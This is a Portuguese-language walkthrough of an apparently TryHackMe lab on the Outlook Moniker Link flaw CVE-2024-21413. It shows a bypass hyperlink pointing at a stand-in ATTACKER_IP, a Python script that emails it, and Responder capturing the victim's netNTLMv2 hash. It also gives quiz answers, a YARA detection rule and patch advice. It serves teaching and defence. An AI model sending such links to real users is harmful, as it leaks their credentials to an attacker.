
Exploit educacional para CVE-2024-21413 (Moniker Link) demonstrando RCE no Outlook e vazamento de credenciais NTLM por meio de hiperlinks maliciosos, com orientações de detecção e remediação.
Em 13 de fevereiro de 2024, a Microsoft anunciou uma vulnerabilidade de RCE e vazamento de credenciais no Microsoft Outlook, à qual foi atribuída a CVE-2024-21413 (Moniker Link). Haifei Li, da Check Point Research, é creditado pela descoberta da vulnerabilidade.
A vulnerabilidade contorna os mecanismos de segurança do Outlook ao lidar com um tipo específico de hiperlink conhecido como Moniker Link. Um atacante pode abusar disso enviando um e-mail que contém um Moniker Link malicioso para uma vítima, fazendo com que o Outlook envie as credenciais NTLM do usuário ao atacante assim que o hiperlink for clicado.
Detalhes relacionados à pontuação da vulnerabilidade são fornecidos na tabela abaixo:
CVSS Descrição Data de publicação 13 de fevereiro de 2024 Artigo da MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impacto Execução Remota de Código & Vazamento de Credenciais Severidade Critical Complexidade do ataque Low Pontuação 9.8
Sabe-se que a vulnerabilidade afeta as seguintes versões do Office:
Lançamento Versão Microsoft Office LTSC 2021 afetado a partir de 19.0.0 Microsoft 365 Apps for Enterprise afetado a partir de 16.0.1 Microsoft Office 2019 afetado a partir de 16.0.1 Microsoft Office 2016 afetado a partir de 16.0.0 antes de 16.0.5435.1001
Observe que você precisará do AttackBox e da máquina vulnerável anexados a esta tarefa. Para implantar a VM anexada, pressione o botão verde Start Machine abaixo.
Nome de usuário tryhackme Senha Kkh3gv439dnq!
Qual foi a classificação de "Severidade" atribuída à CVE? > ANSWER : Critical
O Outlook pode renderizar e-mails como HTML. Você pode notar isso sendo usado pelos seus boletins informativos favoritos. Além disso, o Outlook pode processar hiperlinks como HTTP e HTTPS. No entanto, ele também pode abrir URLs que especificam aplicativos conhecidos como Moniker Links. Normalmente, o Outlook exibirá um aviso de segurança quando aplicativos externos forem acionados.

A Protected View do Outlook é acionada ao iniciar um aplicativo externo
Este pop-up é um resultado da "Protected View" do Outlook. A Protected View abre e-mails que contêm anexos, hiperlinks e conteúdo semelhante em modo somente leitura, bloqueando coisas como macros (especialmente de fora de uma organização).
Ao usar o Moniker Link file:// em nosso hiperlink, podemos instruir o Outlook a tentar acessar um arquivo, como um arquivo em um compartilhamento de rede (<a href="file://ATTACKER_IP/test">Click me</a>). O protocolo SMB é usado, o que envolve o uso de credenciais locais para autenticação. No entanto, a "Protected View" do Outlook intercepta e bloqueia essa tentativa.
A vulnerabilidade aqui existe ao modificar nosso hiperlink para incluir o caractere especial ! e algum texto em nosso Moniker Link, o que resulta no contorno da Protected View do Outlook. Por exemplo: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
Nós, como atacantes, podemos fornecer um Moniker Link dessa natureza para o ataque. Observe que o compartilhamento não precisa existir no dispositivo remoto, pois uma tentativa de autenticação será feita de qualquer forma, fazendo com que o hash netNTLMv2 do Windows da vítima seja enviado ao atacante.
A Execução Remota de Código (RCE) é possível porque os Moniker Links usam o Component Object Model (COM) no Windows. No entanto, explicar isso está atualmente fora do escopo desta sala, pois não há nenhuma prova de conceito divulgada publicamente para alcançar RCE por meio desta CVE específica.
Qual tipo de Moniker Link usamos no hiperlink? > ANSWER : file:// Qual é o caractere especial usado para contornar a "Protected View" do Outlook? > ANSWER : !
Para este ataque, enviaremos à nossa vítima um e-mail com um Moniker Link semelhante ao fornecido na tarefa anterior. O objetivo, como atacante, é criar um e-mail para a vítima com um Moniker Link que contorne a "Protected View" do Outlook, no qual o cliente da vítima tentará carregar um arquivo de nossa máquina atacante, resultando na captura do hash netNTLMv2 da vítima.
Mas primeiro, vamos examinar uma PoC que criei (que também está disponível no GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
A PoC:
Vamos usar o Responder para criar um listener SMB em nossa máquina atacante. Para o AttackBox da THM, a interface será -I ens5. O nome da interface será diferente se você estiver usando seu próprio dispositivo (ou seja, Kali). Se quiser uma tarefa extra, um servidor Impacket também pode ser usado.
Iniciando o Responder em nosso AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Vamos abrir a máquina vulnerável pressionando o painel "CVE-2024-21413" na visualização de tela dividida.

Abra o Outlook clicando no atalho "Outlook" na área de trabalho. Quando o Outlook abrir, clique em "I don't want to sign in or create an account" no pop-up.

Feche o segundo pop-up clicando no "X" no canto superior direito do pop-up (talvez seja necessário arrastar a janela um pouco para a esquerda, dependendo da resolução da sua tela).

Quando concluído, você verá a interface do Outlook. Nesta sala, a caixa de correio da vítima já foi configurada no Outlook para você.

Volte ao seu AttackBox. Vamos copiar e colar a PoC acima no AttackBox.
Para isso, criaremos um novo arquivo no AttackBox. Use nano exploit.py e a bandeja deslizante na visualização de tela dividida. Consulte o GIF abaixo para ver isso em ação.

Precisaremos fazer algumas configurações iniciais em nosso AttackBox antes de executar o script Python:
Quando terminar, podemos executar o exploit. Quando for solicitada a senha do e-mail do atacante, digite "attacker".
Executando exploit.py
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
O script Python imprimirá "Email delivered" quando o e-mail tiver sido enviado. Se o script reclamar de falha de autenticação, certifique-se de ter substituído corretamente os valores em exploit.py. Agora, vamos voltar à máquina vulnerável e verificar o novo e-mail:

Clique no hiperlink "Click me" e volte para nossa sessão de terminal do "Responder" no AttackBox:

Sucesso! O hash netNTLMv2 da vítima foi capturado em nosso AttackBox.
Qual é o nome do aplicativo que usamos no AttackBox para capturar o hash do usuário? > ANSWER : responder Qual tipo de hash é capturado quando o hiperlink no e-mail é clicado? > ANSWER : netNTLMv2
Uma regra Yara foi criada por Florian Roth para detectar e-mails que contenham o elemento file:\ no Moniker Link.
CVE
-2024-21413 regra Yara criada por Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Além disso, a solicitação SMB da vítima para o cliente pode ser vista em uma captura de pacotes com um hash netNTLMv2 truncado.

Clique aqui para prosseguir para a próxima tarefa! > ANSWER : NO ANSWER
A Microsoft incluiu correções para resolver esta vulnerabilidade no lançamento de "patch Tuesday" de fevereiro. Você pode ver uma lista de artigos de KB por compilação do Office aqui. Atualizar o Office pelo Windows Update ou pelo Catálogo do Microsoft Update é altamente recomendado.
Além disso, enquanto isso, é um lembrete oportuno para adotar práticas gerais - seguras - de segurança cibernética. Por exemplo, lembrar os usuários de:
Como esta vulnerabilidade contorna a Protected View do Outlook, não há como reconfigurar o Outlook para impedir este ataque. Além disso, impedir totalmente o protocolo SMB pode fazer mais mal do que bem, especialmente porque ele é essencial para acessar compartilhamentos de rede. No entanto, você pode conseguir bloquear isso no nível do firewall, dependendo da organização.
Clique aqui para prosseguir para a próxima tarefa. > ANSWER : NO ANSWER